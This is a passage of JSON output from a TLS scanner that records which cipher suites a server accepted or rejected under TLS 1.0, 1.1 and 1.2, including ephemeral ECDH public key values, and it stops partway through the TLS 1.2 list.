"is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_0" - }, - "status": "COMPLETED" - }, - "tls_1_1_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "secp521r1", - "generator": null, - "prime": null, - "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", - "size": 521, - "type_name": "ECDH", - "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", - "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - } - ], - "tls_version_used": "TLS_1_1" - }, - "status": "COMPLETED" - }, - "tls_1_2_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "AES256-GCM-SHA384" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "AES256-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "AES128-GCM-SHA256" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, 